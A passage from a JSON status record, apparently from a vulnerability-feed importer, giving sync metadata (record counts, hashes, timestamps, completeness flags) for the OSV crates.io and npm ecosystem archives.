counts","generation":"crates.io-012aff9b2fb349d53e2c4bace6ca57956b6f5f9d82c1dc9fdc1c9b3c738f8977","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T00:30:35.583275+00:00","lastSuccessAt":"2026-11-14T04:57:03.8279646+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.583275+00:00","snapshotPublishedAt":"2026-11-14T03:02:50+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-bfbc75e561bfffdd0ad20c592902934adbd2d0a701402c5539bbccd9991fe78c","complete":true,"records":232472,"lastAttemptAt":"2026-11-15T00:30:35.36985+00:00","lastSuccessAt":"2026-11-14T21:27:13.9659762+00:00","error":null,"lastVerifiedAt":"2026-11-15T00:30:35.36985+00:00","snapshotPublishedAt":"2026-11-14T20:48:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}